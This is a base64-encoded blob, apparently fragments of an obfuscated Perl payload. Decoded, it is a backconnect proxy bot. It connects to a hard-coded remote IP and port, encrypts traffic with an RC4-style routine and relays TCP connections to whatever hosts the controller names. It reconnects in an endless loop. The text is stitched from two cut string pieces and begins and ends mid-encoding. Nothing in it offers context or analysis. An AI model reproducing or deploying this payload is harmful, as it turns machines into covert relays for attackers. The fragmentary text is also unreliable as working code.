JIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0M